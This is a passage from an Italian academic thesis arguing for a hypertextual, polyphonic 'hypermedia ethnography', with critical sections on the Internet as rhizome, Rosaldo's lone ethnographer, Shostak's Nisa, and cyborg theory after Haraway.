possibili. “ (Tyler 1986: 174). 
I testi che devono derivarne saranno polifonici, ma non nel 

senso di un coro che esegue un’armonia ben precisa, ma nel senso di 

una multivocalità senza centro che può generare anche dissonanze, 

talvolta rumore. Schönberg suonato dai Sonic Youth.  
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Etnografia Ipermediale – L’incanto 

 

In questo testo ideale le reti sono multiple e giocano fra loro senza 
che nessuna possa ricoprire le altre;  questo senso è una galassia di 
significati, non una struttura di significanti; non ha inizio; è 
reversibile; vi si accede da più entrate di cui nessuna può essere 
decretata con certezza la principale; i codici che mobilita si 
profilano a perdita d'occhio, sono indecidibili...; di questo testo 
assolutamente plurale i sistemi di senso possono sì impadronirsi, 
ma il loro numero non è mai chiuso, misurandosi sull'infinità del 
linguaggio"(Barthes, 1973).  
 
L'ipertesto è un testo composto da blocchi di parole e/o immagini 
connesse elettronicamente secondo percorsi molteplici in una 
testualità aperta e perpetuamente incompiuta, descritta dai termini: 
collegamento (link), nodo (node), rete (network), tela (web), 
percorso (path) (George P.Landow, Ipertesto, il futuro della 
scrittura, Baskerville, Bologna,1993) 
 
Con ipertesto intendo scrittura non sequenziale, testo che si dirama 
e consente al lettore di scegliere; qualcosa che si fruisce al meglio su 
uno schermo interattivo. Così come è comunemente inteso, un 
ipertesto è una serie di brani di testo tra cui sono definiti dei 
collegamenti che consentono al lettore differenti cammini 
(T.H.Nelson, Literary Machines, trad. it. Muzzio, Padova 1992) 
 

Credo ci sia una convergenza tra le tesi degli etnografi post-

paradigmatici e la natura delle nuove tecnologie informatiche, basate 

su Ipertesto e Ipermedia. Trovo illuminante la definizione che Tyler 

dà dell’etnografia postmoderna: 

 
“un testo che si evolve cooperativamente, costruito con frammenti 
di discorso che fanno immaginare al lettore e allo scrittore un 
possibile mondo di senso comune. […] In una parola è poesia.“ 
(Tyler 1986: 167) 
La richiesta di scritture sperimentali per una nuova linfa 
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all’antropologia coinvolge soggetti, mezzi e metodi affinchè i punti di 

vista siano sempre multipli e la tensione sulle forme retoriche 

utilizzate conduca alla poesia piuttosto che alla scienza.  

Il primo studio sulle possibilità dell’Ipertesto come Epifania del 

pensiero di vari critici letterari, tra cui Derrida, Barthes e Bachtin, è 

stato George Landow.  

Le idee di testo aperto e non lineare di Barthes,  di 

intertestualità e decentramento di Derrida, di polifonia e dialogo di 

Bachtin confluiscono tutte nella teoria dell’ipertesto, il cui utilizzo 

sperimentale potrebbe far esplodere i paradigmi con cui sono 

prodotte e studiate le discipline umanistiche.  

 

Landow (1992) afferma che l’ipertesto mette in questione: 

9 La sequenza prefissata 

9 Principio e fine predefiniti 

9 La “grandezza” propria di un racconto  

9 L’idea di unità o di tutto 

 

L’ipertesto rompe prima di tutto la linearità delle letture-

scritture, dando la possibilità di percorsi multi-direzionali, non 

lineari e non sequenziali. Questo avviene attraverso il link, un 

collegamento, deciso a monte dal creatore dell’ipertesto, che permette 

di interrompere la linearità di un discorso per innestarsi su di un 

altro livello in rapporto associativo con il precedente. Il link conduce 
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ad un altro blocco di testo, ad un’immagine, ad un video, ad una 

musica o ad un insieme di elementi mediali comprensivi di tutti i 

livelli citati. Ogni pagina dell’ipertesto stesso, essendo una forma di 

comunicazione mediata da un Computer, è per sua natura 

Multimediale. Una forma d’espressione multimediale comprende 

diversi media giustapposti: il cinema è già un multimedia.  Uso il 

termine Ipermedia invece per intendere una forma d’espressione 

collegata alla Rete, che sia ipertestuale e multimediale, composta da 

media diversi e con la possibilità di farsi fruire in modo non lineare 

grazie ai link. Definisco Rete un sistema di connessione tra i 

Computer che permetta una condivisione di informazioni in lettura e 

in scrittura.  

 Da tempo in antropologia sono state riconosciute alla 

fotografia e al Video dignità conoscitive, ma mai sono stati portati 

avanti progetti etnografici al cui interno i diversi media non fossero 

sistemati in rapporto gerarchico tra loro, come avviene da sempre nei 

libri tra testo e illustrazioni. Nelle monografie etnografiche 

tradizionali le immagini venivano usate come mere illustrazioni, ma 

avevano anche un meta-scopo, alimentavano la convinzione che il 

ricercatore fosse davvero stato nel posto descritto, in modo tale che 

fosse più facile un abbandono alla “verità” scientifica  del testo.  

L’unico testo etnografico che potrebbe esulare dalla dittatura 

alfabetica è “Balinese Character” di Margaret Mead e Gregory 

Bateson. I due unirono fotografia e scrittura etnografica tradizionale 
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in un testo d’archeologia multimediale in cui è non è possibile 

separare i due livelli; probabilmente oggi avrebbero scritto il loro 

libro in ipertesto12.  

"We were compelled to economize on motion-picture film, and 
disregarding the future difficulties of exposition, we assumed that 
the still photography and the motion-picture film together would 
constitute our record of behavior. ("Notes to the Photographs," in 
Bateson - Mead, 1942) 
La maggior parte degli Ipertesti che vengono fruiti 

quotidianamente risiedono su computer connessi alla Rete e 

raggiungibili via Internet. Un numero potenzialmente illimitato di 

utenti è in grado di poter leggere lo stesso testo e, se il sito lo 

permette,  di poter scrivere commenti a loro volta leggibili da tutti. 

L’accesso ad un ipertesto non è limitato dalle capacità distributive 

delle case editrici o dall’economie dovute all’impiego di materiali 

costosi. La raggiungibilità di un ipertesto è limitata dal costo di 

accesso alla Rete e dal costo, se c’è, che l’autore o il detentore della 

proprietà intellettuale del testo ha deciso essere adeguato per la 

consultazione.  

L’economia di spazio che un libro cartaceo richiede non è più 

un problema con le nuove tecnologie. La stessa mole di informazioni 

di un’enciclopedia cartacea, che impiegherebbe fisicamente scaffali e 

scaffali, può essere riprodotta nel spazio di uno o due cd-rom.  

I dati, gli appunti, gli schemi, tutte quelle informazioni da cui 

l’etnografo solitario traeva le sue interpretazioni e da cui produceva 

                                            
12 Durante i due anni di ricerca Margaret Mead e Gregory Bateson scattarono circa 25.ooo 
fotografie e girarono 6 kilometri di pellicola da 16mm. Non registrarono suoni.  
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un testo-finzione coerente, venivano tenuti fuori dal testo e 

conservati al massimo negli archivi delle biblioteche. Informazioni 

del genere sono invece preziosi elementi di comprensione e 

dovrebbero rientrare appieno in un testo etnografico, insieme ai 

video, alle fotografie e alle musiche registrate. In questo modo si 

possono dare al lettore maggiori possibilità di interpretazione e 

diversi livelli di lettura.   

Come dice Tyler (1986) la nuova etnografia ha bisogno di una 

soggettività trina, quella dell’autore-testo-lettore. Con l’Ipertesto e le 

Reti non solo questa triade diventa elemento privilegiato, ma si 

pluralizza: gli autori-testi-lettori. 

L’autore ha la possibilità di dare la parola al lettore, creando un 

ipertesto bidirezionale che preveda un utente scrittore. Questo entra 

a pieno titolo nel testo commentandolo, criticandolo, ampliandolo.  Il 

testo stesso non è più chiuso, limitato da una prima e una quarta di 

copertina. Ci troviamo di fronte alla realizzazione di un testo aperto 

per eccellenza sia in senso spaziale, perché un ipertesto collegato ad 

Internet dilata il testo all’infinito, sia in senso temporale, perché può 

essere in continuazione modificato o ampliato. Mi sembra calzante il 

neologismo coniato da Nelson (1992): Docuverso, che dà il senso di un 

Documento estendibile a tutto l’universo di informazioni possibili.    

Viene superata la soglia che relegava il lettore ad un mero ruolo 

passivo. Con il libro lo scrittore cerca di generare con la scrittura un  

percorso di comprensione tipo attraverso forme retoriche e narrative 
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convenzionali, ma non ha la possibilità di ricevere critiche se non 

all’interno dei circoli accademici dei professionisti. Con l’Ipertesto i 

percorsi di lettura si moltiplicano in modo esponenziale, lo scrittore 

può vagamente sperare che il lettore prenda la direzione da lui 

prevista. D’altro canto la sua perdita di controllo ne guadagna in 

possibilità di ricevere feedback anche in tempo reale. Scrittori e lettori 

finalmente si incontrano, possono inserirsi in uno scambio circolare 

di conoscenze e reciproche interpretazioni. E’ il concetto di 

autorialità, quindi anche quello di autorità, che l’Ipertesto mette in 

discussione. Lo scrittore non è più l’ Auto-Re, è una voce tra le altre, 

un W.READER 13 tra tanti.  

“La presenza virtuale degli altri testi e degli altri autori contribuisce 
in modo importante al cambiamento del modo di pensare la 
scrittura, della proprietà intellettuale e dell’attività in 
collaborazione legata all’ipertesto. In un ambiente ipertestuale tutta 
la scrittura diviene scrittura in collaborazione, in due sensi” 
(Landow, 1992: 106) 
La stessa categoria di “campo” come entità dai confini 

delimitati, in cui si può entrare e uscire, e che esiste come ‘posto 

laggiù’ in uno spazio-tempo preciso, esplode con l’Ipermedia nel 

Web. Il campo della nuova etnografia è per definizione 

antigeografico, è connesso a tutte le voci possibili e a tutti i testi che 

gli scrittori-utenti vorranno mettere in correlazione (linkare) col sito. I 

bordi sono permeabili, accolgono ciò che è fuori permettendo l’uscita 

di ciò che è dentro. Non solo l’ipertesto etnografico descrive culture, 

come le vecchie etnografie, ma le innova attraverso un continuo 

                                            
13 Writer + Reader 
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scambio trans-comunicativo tra gli attori-utenti. Nello stesso  

cybercampo parlano gli etnografi--- che dialogano con i nativi--- che 

possono parlare direttamente con i lettori--- che commentano gli 

scrittori.  Una ricerca non dovrebbe concludersi mai con la 

pubblicazione di un libro, ma dovrebbe farsi carico dei discorsi, delle 

diverse interpretazioni, delle contraddizioni emerse in seguito alla 

lettura. Questo già accade attravero i cicli di conferenze o le 

recensioni sulle riviste accreditate, ma con il web i tempi e le distanze 

si annullano, e un dibattito può coinvolgere persone dislocate nel 

mondo digitalizzato in spazi-tempi differenti. Finalmente si 

raggiunge la Polifonia tanto agognata. 

L’ Ipercampo dell’iper-etnografia diventa il vero “documento 

agito”, concetto che rubo a Geertz estendendone il senso. 

L’Ipercampo non è infatti semplicemente un angolo di cyberspazio in 

cui far confluire descrizioni culturali perché siano adeguate ai tempi. 

Nell’Ipercampo possiamo interpretare o descrivere, ma l’Ipercampo 

fondamentalmente si abita, l’Ipercampo si vive. Sempre secondo 

Tyler 

“il contesto etnografico [è] una collettiva invenzione di storie che, 
in una delle sue forme ideali, porterebbe ad un testo polifonico, in 
cui nessuno dei partecipanti abbia l’ultima parola sotto forma di 
contestualizzazione o sintesi globale, un discorso sul discorso” 
(1986:167-168) 
Se il lettore può scrivere, allora anche il nativo, già da tempo 

lettore,  può farlo. Il modo in cui i rappresentanti di diversità 

culturali  propongono i loro progetti in Rete è a sua volta materiale 
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per l’antropologia, ma siamo già oltre. Ogni giorno nascono e 

muoiono comunità virtuali che hanno poco a che vedere con 

appartenenze etniche o geografiche. La velocità con cui si formano e 

con cui muoiono portano gli antropologi a non considerarle oggetti di 

studio dignitosi in confronto alle grandi Culture studiate da 

Malinowski o Lèvi-Strauss. Ma siamo di fronte ad un a sfida che 

l’antropologia non può non affrontare. I nuovi etnografi devono 

tessere reti critiche nella Grande Rete di Internet, generando 

Ipercampi di ricerca Multimediali e Interattivi. Con l’interattività non 

sono solo i testi letti a diventare importanti, ma i percorsi attivati 

durante la lettura, quindi l’azione vera e propria che si effettua per 

muoversi di link in link, da un passaggio associativo ad un altro.  

Un’iper-etnografia è frammentaria, basata su blocchi di testo, 

sonori o visivi collegati, o collegabili, tra loro attraverso link. 

L’etnografo che agisce con i dati Ipermediali è l’incarnazione 

radicalizzata dell’operatore benjaminiano (1955:38), la cui realtà è 

“multiformemente frammentata e le sue parti si compongono 

secondo una legge nuova”. Un’iper-etnografia è cooperativa, perché 

comprende tutte le voci possibili e tutte le voci insieme determinano 

il suo essere. Un’iper-etnografia è poesia, è letteratura non meno di 

quanto lo siano tutte le monografie tradizionali di stampo realista. 

L’ipertesto, le reti, l’interattività si stanno innestando su tutte le 

discipline per liberarle dai vincoli di lettura-scrittura unidirezionale e 

dalle catene di distribuzione verticale. La digitalizzazione sta 
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producendo sulle culture effetti dirompenti almeno quanto il libro 

stampato, che ha in-formato tutto il pensiero occidentale. Il dover 

produrre un’etnografia su di un supporto cartaceo ha determinato 

l’essenza stessa dell’etnografia. La possibilità di un’Etnografia 

Ipermediale cambierà il modo di fare ricerca in un modo che gli 

antropologi sono chiamati a sperimentare. Innanzitutto la possibilità 

di poter utilizzare supporti diversi per la registrazione dei dati, dal 

video alla registrazione sonora, renderà inverosimile la gestione della 

ricerca per un antropologo da solo. La collaborazione con altri 

soggetti, moltiplicando gli sguardi e le sensibilità, diverrà base 

necessaria di una ricerca Ipermediale e darà all’etnografia una natura 

multiprospettica. Il raggio unidirezionale dello sguardo del vecchio 

etnografo è destinato a passare attraverso il prisma ipermediale per 

restituirne una luce multisfaccettata. 

 

Etnografia Ipermediale – Disincanto 

Un campo Ipermediale non sarà libero dalle questioni di potere, 

dalla gerarchizzazione delle informazioni, dai meccanismi di 

inclusione ed esclusione. La Rete stessa, cantata come la nuova 

frontiera senza frontiere, come il Cyberspazio gibsoniano, come il 

Rizoma alla Deleuze e Guattari mantiene purtroppo delle soglie 

d’accesso. Esistono dei limiti che fanno rientrare l’incanto verso una 

nuova liberazione della scrittura dalla dittatura di un solo soggetto 



 

 40

 
 
 
 
 

verso una forma più critica nei confronti degli Ipermedia. Lo stesso 

sguardo che ha scrutato i meccanismi di costruzione del testo 

etnografico tradizionale va applicato  ad una sua eventuale versione 

ipertestuale.  

Molti hanno creduto di vedere in Internet l’incarnazione del 

Rizoma agognato da Deleuze e Guattari in A Thousand Plateaus (1987), 

ma questo può sembrare credibile ad uno sguardo poco attento ed 

eccessivamente entusiastico.  

 

“A differenza degli alberi o delle loro 
radici, il rizoma collega un punto 
qualsiasi con un altro punto qualsiasi, 
e ciascuno dei suoi tratti non rimanda 
necessariamente a tratti dello stesso 
genere, mette in gioco regimi di segni 
molto differenti ed anche stati di non-
segni. Il rizoma non si lascia 
ricondurre né all'Uno né al multiplo. ... 
Rispetto ai sistemi centrici (anche 
policentrici), a comunicazione 
gerarchica e collegamenti prestabiliti, il rizoma è un sistema 
acentrico, non gerarchico e non significante ..." (Deleuze e Guattari 
1976, 55-56). 
 

Per alcuni tratti l’idea del Rizoma applicata ad Internet e alla 

navigazione Ipertestuale può funzionare: l’idea della tela può essere 

una metafora dell’insieme dei collegamenti ipertestuali; l’eterogeneità 

è sicuramente una caratteristica dei testi ipermediali la cui natura è di 

essere semioticamente sincretici; la molteplicità può essere vista come 

polifonia, moltiplicazione dei percorsi di senso e dei punti di vista. 

I  principi del rizoma

 connessione 

 eterogeneità 

 molteplicità 

 rottura asignificante 

 cartografia e  decalcomania.
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Trovo dei problemi ad applicare ad Internet il concetto di struttura 

“non gerarchica”. 

Su Internet l’utente può saltare da “un punto qualsiasi ad un 

punto qualsiasi”, ma limitatamente alla conoscenza di un indirizzo 

specifico, al link e all’utilizzo di un motore di ricerca.  Dietro ogni 

link c’è un creatore del link, che ha operato una decisione: includere 

un testo esterno per metterlo in correlazione con il suo. Dove non c’è 

link non c’è collegamento. Il link non è un’operazione neutra e cela 

meccanismi di esclusione che andrebbero fatti rilevare. Alcuni punti 

di vista potrebbero venire occultati. I motori di ricerca non sono 

intelligenti, indicizzano le pagine in base ad algoritmi matematici che 

calcolano statisticamente la presenza di parole chiave. I motori di 

ricerca indicizzano ogni giorno milioni di pagine utilizzando un 

criterio gerarchico, mettendo progressivamente in coda i testi meno 

pertinenti. Ma questo meccanismo si basa sugli algoritmi scritti dai 

programmatori. L’algoritmo non è neutro e non sono neutri i suoi 

creatori. In più molti motori di ricerca, per finanziarsi, rendono più 

visibili quei siti che pagano una quota, una sorta di pubblicità, per 

stare più in alto. E’ più facile quindi che un utente, vedendo più 

facilmente il collegamento ad alcuni siti piuttosto che ad altri, sia 

portato a cliccare in modo indotto il link più visibile o più 

raggiungibile, piuttosto che sfogliare pagine e pagine di risultati. Il 

Motore di ricerca non è neutro.  

Nel Rizoma esistono multipli punti d’accesso, in Internet questo 
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non è così vero. Ci si connette attraverso un Provider, un’azienda che 

materialmente dà la possibilità di collegamento attraverso il 

pagamento di un canone. C’è quindi materialmente un’ entrata alla 

Rete.  

La questione dell’accesso alla Rete e alle conoscenze 

fondamentali che discriminano un tipo di utilizzo delle tecnologie 

piuttosto di un altro, è poi determinata da fattori di classe, sesso e 

genere che andrebbero indagati.  

Ecco perché auspico un ritorno alla riflessione sull’autorità, 

applicata alla costruzione di un testo Ipermediale. Gli strumenti del 

nuovo comunicare vanno problematizzati insieme ai contenuti 

veicolati. Un sito Internet, o un Campo Ipermediale, può dare la 

possibilità a tante voci di esprimersi e di parlare, ma deve essere 

messo in discussione anche nella sua funzione strutturale, abitativa. 

Meccanismi di esclusione e controllo si annidano nelle fondamenta 

costitutive della Rete e rischiano di venire ignorati.  
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 JUMP 1 – L’etnografo solitario 
 

La finzione narrativa dell’ “Etnografo solitario”, creata da 

Renato Rosaldo in “Cultura e Verità” (1989), è molto efficace per una 

spiegazione dell’atmosfera creata attorno al ruolo del ricercatore sul 

campo. Con una buona dose d’ironia Rosaldo parla di un etnografo 

 “che cavalcava al tramonto in cerca del suo ‘suo nativo ’. Dopo 
aver sopportato una serie di prove, alla fine incontrò l’oggetto della 
sua ricerca in una terra lontana. Superò il proprio rito di passaggio, 
sopportando l’ordalia definitiva della ‘ricerca sul ‘terreno’. Dopo 
aver raccolto i ‘dati’, l’Etnografo Solitario tornò a casa e scrisse un 
‘vero’ resoconto su ‘la cultura ’ “. (71) 
La critica di Rosaldo alle norme classiche sta soprattutto nelle 

parole evidenziate tra gli apici: 

**suo nativo** - il pronome possessivo non solo sottolinea che il 
nativo non si autorappresenta, ma che attraverso la scrittura è 
sempre una costruzione dell’etnografo. Il nativo è un oggetto da 
osservare.  

**ricerca sul terreno** - è quella che sporca le mani, che sottopone 
l’etnografo alla prova dell’ordalia per verificare l’attendibilità 
scientifica del testo prodotto. Lo sguardo etnocentrico va in un posto 
lontano e si porta appresso i suoi concetti. 

**dati** - le culture osservate sono fatti “NUDI” da registrare 
affinché rientrino in classificazioni e tassonomie.  

**vero** resoconto su **la cultura** - perché foriero del carattere 
di verità e universalità assegnatogli da una metodologia scientifica. Il 
resoconto etnografico ha un carattere olistico e genera definizioni e 
apre la porta della comparazione ai teorici successivi.   
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JUMP 2 – Uno sguardo omosessuale sul Kongo 
 

Con Malinowski le descrizioni dei ricercatori assunsero uno 

status privilegiato rispetto ai resoconti dei “dilettanti” che per altri 

motivi si trovavano in contatto con i “nativi”. Un esempio ci è dato 

dallo sguardo omosessuale di Roger Casement, console britannico 

nello Stato libero del Congo, analizzato da Nicholas Mirzoeff nel suo 

“Introduzione alla cultura visuale” (1999). Per la prima volta si 

prendono in considerazione i resoconti di un console britannico per 

gettare una luce diversa sul  colonialismo imperialista in Congo 

durante il ventesimo secolo. L’identità del console traspare attraverso 

due categorie non allineate: una considerata subalterna dagli inglesi, 

l’appartenenza al popolo irlandese, e l’altra addirittura deviata, la sua 

esplicita omosessualità. Mirzoeff ricorda di come questi resoconti 

siano diventati fondamentali per una riforma del Congo, dissipando  

“anni di ipocrisia da parte degli ufficiali belgi e dei viaggiatori europei”. 
(270)  
Lo sguardo del console non è onnicomprensivo, è lontano dal 

metodo etnografico classico col quale si pretende emerga una realtà 

incontestabile, è 

“una prospettiva omosessuale sullo sguardo coloniale”. (270)  
Una prospettiva così poco normalizzata fornisce elementi di 

ricchezza descrittiva impareggiabile per quanto riguarda la 

comprensione storica di uno scontro tra una cultura dominante 

occidentale ed una dominata africana, demistificando l’esotismo che 
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si accompagna alle descrizioni della cosiddetta Africa Nera, di cui il 

Congo è stato sicuramente l’anima letteraria.  
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JUMP 3 – Nisa, un’etnografia sperimentale 
Nisa (1981), lavoro di Marjorie Shostak pubblicato per la prima 

volta nel 1981, è un tentativo di rendere esplicito il discorso del 

‘nativo’, in questo caso una donna, trasformandolo in co-

protagonista. Tutto il testo è un’oscillazione: da una posizione che 

ricalca quella dell’etnografo tradizionale – che introduce i capitoli e 

rende comprensibile gli aspetti della cultura !Kung in questione – si 

passa alle trascrizioni delle registrazioni effettuate in compagnia di 

Nisa, che nel testo parla in prima persona e non viene mai interrotta.  

Nell’introduzione la Shostak precisa la metodologia del suo lavoro:  

“Avevo bisogno di informazioni che non potevano essere raccolte 
attraverso la semplice osservazione: avevo bisogno di ascoltare la loro 
voce” (op. cit. 15)  
e continua descrivendo la sua condizione personale: 

 “Mi presentai loro così come mi vedevo a quel tempo: una giovane 
donna, sposata ad poco e alle prese con i temi dell’amore, del 
matrimonio, della sessualità, della carriera e dell’identità – in altre parole, 
alle prese con il significato di essere donna” (op. cit. 16).  
L’etnografo si mette in gioco e si presenta. Anche se solo in un 

breve accenno nell’introduzione, la Shostak descrive il suo arrivo e la 

situazione trovata. Le informazioni degli antropologi precedenti le 

sono utili, ma sono fuori dal focus della sua ricerca.  

“Il mio obiettivo era scoprire cosa significava essere donna nella loro 
cultura in modo da comprendere meglio cosa voleva dire nella mia” ( 34)  
Emerge la sua empatia, che la porta a scegliere le donne 

piuttosto che gli uomini : 

“…mi resi conto che non riuscivo a raggiungere con loro lo stesso grado 
di intimità che potevo raggiungere con le donne” (cit. 33)  
e non trascura di ricordare che forse questa scelta è dettata dal 
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periodo in cui si trova a fare ricerca - gli anni ’70 - e che le domande 

sono quelle che una femminista irrequieta avrebbe rivolto alle donne 

della sua cultura. Dalla lettura dell’introduzione è esplicito il 

meccanismo di scambio tra l’etnografo e i soggetti intervistati : 

 “tutte le donne che ho contattato erano ben liete di partecipare , in parte 
per il pagamento che offrivo e in parte, apparentemente, per 
l’opportunità di parlare di loro stesse” (34).  
Quest’etnografia non è priva di contraddizioni, ma rappresenta 

comunque un tentativo importante di rompere lo schema oggettivista 

della tradizione. Non viene infatti chiarita la metodologia di scelta 

delle trascrizioni-registrazioni, disposte nel testo per temi che 

ricalcano a grandi linee le grandi tappe di una qualsiasi donna 

occidentale: la famiglia, la scoperta del sesso, il matrimonio, i figli, gli 

amanti, la vecchiaia. Nisa è una donna, questa condizione è un tratto 

di unione universale con chiunque condivida con lei l’appartenenza a 

questo genere. La Shostak sceglie una donna di una cultura “altra” 

per dimostrare la fondamentale unione di tutte le donne del mondo 

nel sentirsi protagoniste di drammi e problemi simili. Questo punto 

di partenza di stampo chiaramente femminista ha calibrato la 

scrittura del testo. Non è facile spogliarsi del proprio background per 

analizzare una realtà diversa. Un antropologo come la Shostak non 

cade nell’errore di occultamento in cui erano caduti diversi suoi 

predecessori, ma fa di questa imprescindibile debolezza una forza.  

Non solo comunica a Nisa le sue reali intenzioni, mettendola al 

corrente della sua intenzione di pubblicare un resoconto sulle loro 
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conversazioni, ma le chiede il permesso. Nisa è un nome fittizio, non 

il vero nome della protagonista, così come tutti i nomi del testo 

risultano essere inventati. La Shostak si preoccupa dell’effetto che 

potrebbe suscitare una lettura del suo libro agli appartenenti della 

cultura !Kung, che potrebbero riconoscere la sua confidente. 

Implicitamente non nega la possibilità  che il suo libro possa venire 

letto da coloro i quali sono in qualche modo rappresentati, a 

conferma del fatto che i nativi sono già da molto sulla via della 

lettura. Ma la via della lettura ha portato alla conquista della 

scrittura, e di fatto alla possibilità di autorappresentazione. 

L’antropologia non è più una disciplina di puro retaggio accademico 

occidentale, ma viene studiata e vissuta quotidianamente da 

personaggi le cui radici, più o meno immaginate, erano fino a pochi 

anni fa sotto il mirino dell’etnografo occidentale. Si pone oggi più che 

mai la questione della legittimità di chi parla, della costituzione 

dell’autorità dello scrittore. Ho già accennato alla questione 

dell’intoccabilità dell’antropologo come soggetto autorizzato a 

parlare data la legittimità dei suoi studi accademici e della sua 

presenza sul campo. La questione della scrittura è intimamente legata 

alla costruzione di quest’autorità, presente sia nei testi come strategia 

narrativa letteraria, sia sul campo come luogo simbolico di potere. 
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NNeeww  mmeeddiiaa  aanndd  aaeesstthheettiiccss::  iill  ccoorrppoo//lliinngguuaaggggiioo  tteeccnnoollooggiiccoo  
 

 

Connecting… 

 

Questo capitolo è quello che più di tutti risente di un approccio 

cartaceo, quindi lineare. Il mio intento è quello di far emergere alcune 

riflessioni sui nuovi media senza privilegiare soltanto gli aspetti 

filosofici, piuttosto che quelli tecnici o sociali. Nel primo paragrafo 

verrà indagato il corpo alle prese con la minaccia della sua apparente 

dissoluzione nel dominio digitale e interconnettivo. Nel secondo 

verranno fatti emergere due importanti approcci ai nuovi media: uno 

legato alla differenza tra nuovi e vecchi mezzi di comunicazione, 

l’altro legato alle competizioni e alle mutazioni che avvengono 

quando un nuovo media si fa strada tra gli altri. Il terzo e ultimo 

paragrafo tenterà una breve storia delle interrelazioni tra campo 

artistico e campo mediatico, riconoscendo nei vari movimenti artistici 

delle avanguardie dell’inizio del novecento delle caratteristiche 

eversive o di rottura. L’ordine dei tre paragrafi non è assolutamente 

gerarchico, può essere letto in ordine casuale.   
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Il corpo, il self e i nuovi media 

 

“Il fascino del computer è più 

che utilitaristico o estetico: è 

erotico[…] Il mondo ridotto a 

pura informazione non affascina 

soltanto i nostri occhi o le menti, 

cattura i nostri cuori. Ci sentiamo 

accresciuti e resi più potenti. I 

nostri cuori entrano nelle 

macchine. 

Questo è Eros.” 

Michael Heim 

 

 

 

 

 

La diffusione massiva delle Reti telematiche e l’entusiasmo 

spasmodico con cui sono state accolte le nuove tecnologie applicate 

ad esse, hanno creato una polarizzazione nei discorsi sul cyberspazio. 

Ad un opposto la mitologia di Prometeo, che crea gli essere umani, 

insegna loro l’arte della scienza e dà loro il fuoco rubandolo a Zeus. 

Prometeo viene punito da Zeus e il suo fegato viene strappato via da 

un avvoltoio ogni giorno, ma è costretto a rigenerarsi perché il 

supplizio possa durare in eterno. L’elevazione (cultura) del genere 
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umano sugli animali (natura) viene sanzionato negativamente. 

All’interno di questa mitologia ha trovato posto anche il cyberspazio 

e la sua anarchia, colpevole di rendere disponibili materiali 

considerati vietati piuttosto che di infrangere le vecchie regole del 

diritto d’autore. Ma l’attacco più forte riguarda la presunta 

alienazione delle persone dal mondo fisico in cui vivono. Milioni di 

realtà fittizie per dimenticarsi di una realtà concreta. Discorsi come 

questo non sono molto diversi dalle polemiche sulla troppa 

televisione o sul ruolo negativo dei videogames sui bambini. Le 

nuove esperienze vengono scambiate per droghe che producono 

assuefazione. La smaterializzazione del corpo nello schermo, che con 

i computer acquista infinite possibilità di presentazione e 

rappresentazione, viene scambiata per passività o accettazione di 

informazione senza filtri. La digitalizzazione permette al corpo 

l’esplorazione di nuove possibilità, ma questo viene piuttosto 

scambiato per una paura di scomparsa.  

All’estremo opposto c’è chi ha visto l’alba di una nuova era, un 

nuovo rinascimento, E-Naissance, un’utopia specularmente opposta 

alle distopie del cyberpunk letterario: una vita migliore e una 

democrazia più equa grazie alle nuove forme di comunicazione 

multidirezionali. Sta di fatto che la vita sociale e culturale, così come 

il senso d’appartenenza e di identità degli esseri umani connessi, 

inizia adesso a trasformarsi, e tutte le implicazioni che questi 

cambiamenti porteranno possono soltanto essere intravisti. Avrà 
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un’importanza fondamentale lo scontro dei discorsi che si 

produrranno attorno alle nuove tecnologie: da una parte degli 

organismi di potere e controllo istituzionale o economico, dall’altra 

coloro che si battono per un idea della rete senza un centro. Proprio le 

narrazioni sul concetto di “corpo”, già reso problematico 

dall’opposizione epistemica “Natura vs Cultura”, trasformeranno la 

Rete, le sue possibilità e le sue pratiche.  

È innegabile il ruolo di tutta la Science Fiction nella costituzione 

di immaginari fantastici. Pensando a questi mondi molti dei 

ricercatori informatici, che ci hanno donato le attuali tecnologie, 

hanno basato le loro ricerche e sviluppato le proprie applicazioni. 

Bisogna aspettare gli anni ’80 per assistere all’avvento di alcune 

parole chiave, nella letteratura techno-fantasy, che saranno di 

fondamentale importanza nello sviluppo delle Reti telematiche: 

Cyberspazio, Cyberpunk e Cyborg. Tutte e tre derivano dalla 

cibernetica, scienza fondata da Wiener nel 1948 che unisce una teoria 

della comunicazione a una teoria del controllo: la mente umana, il 

corpo umano e le macchine entrano in un sistema di pensiero le cui 

fondamenta poggiano sul controllo e sulla comunicazione di segnali 

attraverso la loro modulazione nel tempo e nello spazio.  

Il Cyborg è la prima metafora, o immagine letteraria, in cui 

avviene un connubio fusionale tra uomo e macchine. Il termine viene 

coniato nel 1960 da Manfred E.Clynes e Nathan S.Kline per intendere 

un essere cibernetico né totalmente umano né totalmente macchina: 
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un ibrido. L’uomo diventa la macchina stessa: arti e organi 

cibernetici vengono impiantati e sostituiti a quelli organici. Il corpo 

accoglie in sé elementi prima considerati estranei. Dai semplici 

occhiali ai pacemaker, l’essere umano va sempre più incontro ad un 

futuro in cui la definizione del corpo, e del suo funzionamento, non 

potrà prescindere dagli elementi tecnologici. Il 24 agosto 1998 il Dott. 

Kevin Warwick, insegnante di cibernetica all’Università di Reading, 

si fece impiantare un chip lungo due centimetri dichiarandosi il 

primo cyborg vivente sulla faccia della Terra. Oggi la 

miniaturizzazione dei componenti elettronici ci permette di 

immaginare un cyborg genetico, la cui tecnologia non è altro che una 

serie di informazioni modulate sulle informazioni già scritte di un 

codice genetico. 

“nei prossimi cinquant’anni gli interventi di chirurgia plastica 
diverranno sempre più radicali, gli inserimenti di (computer-) chip 
nel cervello e il montaggio di geni diventeranno routine. Le 
implicazioni di tutto ciò sull’identità saranno profonde.” 
(Featherstone-Burrows, 1995: 18) “ 
 

Donna Haraway ha considerato il cyborg come una strategia di 

superamento dei dualismi mente-corpo, natura-cultura e maschio-

femmina,  

“è un ibrido di macchina e organismo è tanto una creatura della 
realtà sociale quanto della narrativa” (cit. in Camaiti, 1996:41). 
Grazie al cyborg il concetto monolitico di identità, legato al 

corpo, viene rotto grazie ad una parzialità affermativa. Non esistono 

codificazioni univoche, ma processi di assemblamento, 
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disassemblamento e riassemblamento. La concezione del soggetto 

come entità “fissa” o “intera” è stata l’ossessione non solo del 

pensiero scientifico occidentale, ma anche di discipline come la 

filosofia e l’antropologia. Con il cyborg è possibile pensare ad un sé 

diviso e multidimensionale, post umano e post gender.  

“I corpi non nascono ; sono costruiti. […]Gli organismi sono 
costruiti; sono costrutti di un tipo di mondo che cambia […] Il 
corpo cessa di essere una mappa spaziale stabile di funzioni 
normalizzate ed emerge invece come un campo altamente mobile 
di differenze strategiche […] Nono ci sono oggetti, spazi, corpi sacri 
in se stessi; ogni componente può essere interfacciata con un’altra 
se lo standard adatto, il codice adatto possono essere costruiti per 
processare segnali in una lingua comune.” (Haraway 1991: 210-211) 
